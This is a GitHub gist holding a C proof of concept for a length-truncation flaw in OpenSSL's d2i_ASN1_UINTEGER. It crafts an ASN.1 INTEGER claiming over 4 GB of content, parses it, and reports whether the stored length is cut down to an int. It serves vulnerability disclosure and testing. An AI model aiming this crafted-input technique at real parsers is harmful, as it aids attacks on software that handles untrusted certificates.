Created
April 14, 2026 17:02
-
-
Save jedisct1/de66a9dc9ca25095920746c505f620b9 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| * PoC: ASN1_UINTEGER length truncation via certificate parsing | |
| * | |
| * This creates a real X.509v3 self-signed certificate using the OpenSSL | |
| * API, serializes it to DER, then patches the serial number's length | |
| * field in the raw DER to exceed INT_MAX, and re-parses it with | |
| * d2i_X509(). Internally X509 parsing calls x_int64_ex_d2i which uses | |
| * the general ASN1 machinery, but the legacy d2i_ASN1_UINTEGER path | |
| * is only reached through direct calls. | |
| * | |
| * So this PoC demonstrates the direct d2i_ASN1_UINTEGER call on a | |
| * DER-encoded serial number extracted from a real certificate. | |
| * | |
| * Build: | |
| * cc -o poc_002_cert poc_002_cert.c -I../include -L.. -lcrypto -Wl,-rpath,.. | |
| */ | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #include <limits.h> | |
| #include <sys/mman.h> | |
| #include <openssl/asn1.h> | |
| #include <openssl/x509.h> | |
| #include <openssl/evp.h> | |
| #include <openssl/pem.h> | |
| #include <openssl/err.h> | |
| #include <openssl/bn.h> | |
| static X509 *make_self_signed_cert(EVP_PKEY *pkey) | |
| { | |
| X509 *x = X509_new(); | |
| if (!x) return NULL; | |
| X509_set_version(x, 2); /* v3 */ | |
| ASN1_INTEGER_set(X509_get_serialNumber(x), 1); | |
| X509_gmtime_adj(X509_getm_notBefore(x), 0); | |
| X509_gmtime_adj(X509_getm_notAfter(x), 365 * 24 * 3600); | |
| X509_set_pubkey(x, pkey); | |
| X509_NAME *name = X509_get_subject_name(x); | |
| X509_NAME_add_entry_by_txt(name, "CN", MBSTRING_ASC, | |
| (unsigned char *)"PoC-002", -1, -1, 0); | |
| X509_set_issuer_name(x, name); | |
| X509_sign(x, pkey, EVP_sha256()); | |
| return x; | |
| } | |
| int main(void) | |
| { | |
| printf("=== PoC: d2i_ASN1_UINTEGER truncation with real certificate ===\n\n"); | |
| if (sizeof(long) <= sizeof(int)) { | |
| printf("SKIP: long == int on this platform.\n"); | |
| return 0; | |
| } | |
| /* Generate a key and self-signed cert */ | |
| EVP_PKEY *pkey = EVP_PKEY_Q_keygen(NULL, NULL, "EC", "P-256"); | |
| if (!pkey) { | |
| fprintf(stderr, "Key generation failed\n"); | |
| ERR_print_errors_fp(stderr); | |
| return 1; | |
| } | |
| X509 *cert = make_self_signed_cert(pkey); | |
| if (!cert) { | |
| fprintf(stderr, "Certificate creation failed\n"); | |
| return 1; | |
| } | |
| /* Serialize to DER */ | |
| unsigned char *der = NULL; | |
| int der_len = i2d_X509(cert, &der); | |
| if (der_len <= 0) { | |
| fprintf(stderr, "DER encoding failed\n"); | |
| return 1; | |
| } | |
| printf("Generated self-signed certificate: %d bytes DER\n", der_len); | |
| /* Write the valid cert to PEM for reference */ | |
| FILE *pem_fp = fopen("tmp/poc_002_valid.pem", "w"); | |
| if (pem_fp) { | |
| PEM_write_X509(pem_fp, cert); | |
| fclose(pem_fp); | |
| printf("Valid certificate written to tmp/poc_002_valid.pem\n"); | |
| } | |
| /* | |
| * Find the serial number in the DER encoding. | |
| * A v3 cert DER looks like: | |
| * SEQUENCE { | |
| * SEQUENCE { <- TBSCertificate | |
| * [0] EXPLICIT INTEGER <- version (v3 = 2) | |
| * INTEGER <- serialNumber <-- we want this | |
| * ... | |
| * } | |
| * ... | |
| * } | |
| * | |
| * We'll scan for the serial number field. | |
| * After the version field [0] EXPLICIT { INTEGER 02 }, the next | |
| * INTEGER tag (0x02) is the serial number. | |
| */ | |
| /* Find the TBSCertificate SEQUENCE */ | |
| int pos = 0; | |
| /* Skip outer SEQUENCE tag + length */ | |
| if (der[pos] != 0x30) { | |
| fprintf(stderr, "Expected SEQUENCE at offset 0\n"); | |
| return 1; | |
| } | |
| pos++; | |
| /* Skip outer length */ | |
| if (der[pos] & 0x80) { | |
| int lbytes = der[pos] & 0x7f; | |
| pos += 1 + lbytes; | |
| } else { | |
| pos++; | |
| } | |
| /* Now at TBSCertificate SEQUENCE */ | |
| if (der[pos] != 0x30) { | |
| fprintf(stderr, "Expected TBS SEQUENCE at offset %d\n", pos); | |
| return 1; | |
| } | |
| pos++; | |
| if (der[pos] & 0x80) { | |
| int lbytes = der[pos] & 0x7f; | |
| pos += 1 + lbytes; | |
| } else { | |
| pos++; | |
| } | |
| /* Now at version field: a0 03 02 01 02 for v3 */ | |
| if (der[pos] == 0xa0) { | |
| /* Skip the explicit tag + its content */ | |
| pos++; | |
| int vlen; | |
| if (der[pos] & 0x80) { | |
| int lbytes = der[pos] & 0x7f; | |
| vlen = 0; | |
| for (int i = 0; i < lbytes; i++) | |
| vlen = (vlen << 8) | der[pos + 1 + i]; | |
| pos += 1 + lbytes + vlen; | |
| } else { | |
| vlen = der[pos]; | |
| pos += 1 + vlen; | |
| } | |
| } | |
| /* Now we should be at the serial number INTEGER */ | |
| if (der[pos] != 0x02) { | |
| fprintf(stderr, "Expected INTEGER tag at offset %d, got 0x%02x\n", | |
| pos, der[pos]); | |
| return 1; | |
| } | |
| int serial_offset = pos; | |
| printf("Serial number INTEGER found at DER offset %d\n", serial_offset); | |
| printf("Original serial: tag=0x%02x len=0x%02x value=0x%02x\n", | |
| der[pos], der[pos+1], der[pos+2]); | |
| /* | |
| * Now demonstrate the vulnerability: take the serial number's raw | |
| * ASN.1 encoding and re-encode it with a length > INT_MAX, then | |
| * parse it with d2i_ASN1_UINTEGER. | |
| * | |
| * We craft: 02 85 01 00 00 00 01 <value_byte> | |
| * This encodes INTEGER with content length 0x100000001 (4294967297). | |
| */ | |
| const long evil_content_len = 0x100000001L; | |
| const int evil_header_len = 7; /* tag(1) + 0x85(1) + 5 length bytes */ | |
| const long evil_total = evil_header_len + evil_content_len; | |
| printf("\nCrafting evil serial with content length 0x%lx ...\n", | |
| evil_content_len); | |
| /* mmap enough virtual space */ | |
| size_t map_size = (size_t)evil_total + 16; | |
| unsigned char *evil_buf = mmap(NULL, map_size, | |
| PROT_READ | PROT_WRITE, | |
| MAP_ANON | MAP_PRIVATE, -1, 0); | |
| if (evil_buf == MAP_FAILED) { | |
| perror("mmap"); | |
| return 1; | |
| } | |
| printf("mmap'd %.2f GB virtual memory for crafted serial\n", | |
| (double)map_size / (1024.0*1024*1024)); | |
| /* Build the evil ASN.1 INTEGER */ | |
| evil_buf[0] = 0x02; /* INTEGER tag */ | |
| evil_buf[1] = 0x85; /* 5 length bytes follow */ | |
| evil_buf[2] = (evil_content_len >> 32) & 0xff; /* 0x01 */ | |
| evil_buf[3] = (evil_content_len >> 24) & 0xff; /* 0x00 */ | |
| evil_buf[4] = (evil_content_len >> 16) & 0xff; /* 0x00 */ | |
| evil_buf[5] = (evil_content_len >> 8) & 0xff; /* 0x00 */ | |
| evil_buf[6] = (evil_content_len >> 0) & 0xff; /* 0x01 */ | |
| /* Copy the original serial value byte as the first content byte */ | |
| evil_buf[7] = der[serial_offset + 2]; | |
| printf("Evil ASN.1 header: %02x %02x %02x %02x %02x %02x %02x\n", | |
| evil_buf[0], evil_buf[1], evil_buf[2], evil_buf[3], | |
| evil_buf[4], evil_buf[5], evil_buf[6]); | |
| printf("Content byte[0] = 0x%02x (from original cert serial)\n\n", | |
| evil_buf[7]); | |
| /* Parse with d2i_ASN1_UINTEGER — the vulnerable function */ | |
| const unsigned char *pp = evil_buf; | |
| ASN1_INTEGER *parsed = NULL; | |
| parsed = d2i_ASN1_UINTEGER(&parsed, &pp, evil_total); | |
| if (parsed == NULL) { | |
| printf("d2i_ASN1_UINTEGER returned NULL (rejected).\n"); | |
| ERR_print_errors_fp(stdout); | |
| printf("\nRESULT: NOT VULNERABLE\n"); | |
| munmap(evil_buf, map_size); | |
| OPENSSL_free(der); | |
| X509_free(cert); | |
| EVP_PKEY_free(pkey); | |
| return 0; | |
| } | |
| int stored = ASN1_STRING_length(parsed); | |
| printf("d2i_ASN1_UINTEGER succeeded on crafted serial!\n"); | |
| printf(" Stored length: %d (0x%x)\n", stored, stored); | |
| printf(" Expected length: %ld (0x%lx)\n", evil_content_len, evil_content_len); | |
| if (stored != evil_content_len) { | |
| printf("\n LENGTH TRUNCATION CONFIRMED:\n"); | |
| printf(" (int)0x%lx = 0x%x = %d\n", | |
| evil_content_len, (int)evil_content_len, (int)evil_content_len); | |
| printf(" Allocated only %d+1 = %d bytes for a %ld-byte field.\n", | |
| stored, stored + 1, evil_content_len); | |
| /* Demonstrate: compare with what a BIGNUM conversion would yield */ | |
| BIGNUM *bn = ASN1_INTEGER_to_BN(parsed, NULL); | |
| if (bn) { | |
| char *hex = BN_bn2hex(bn); | |
| printf("\n BN value from truncated parse: %s\n", hex ? hex : "(null)"); | |
| printf(" This is derived from only %d byte(s) of data,\n" | |
| " not the real %ld-byte serial number content.\n", | |
| stored, evil_content_len); | |
| OPENSSL_free(hex); | |
| BN_free(bn); | |
| } | |
| } | |
| printf("\nRESULT: VULNERABLE — length truncation in d2i_ASN1_UINTEGER\n" | |
| " with serial number data from a real certificate.\n"); | |
| ASN1_INTEGER_free(parsed); | |
| munmap(evil_buf, map_size); | |
| OPENSSL_free(der); | |
| X509_free(cert); | |
| EVP_PKEY_free(pkey); | |
| return 2; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment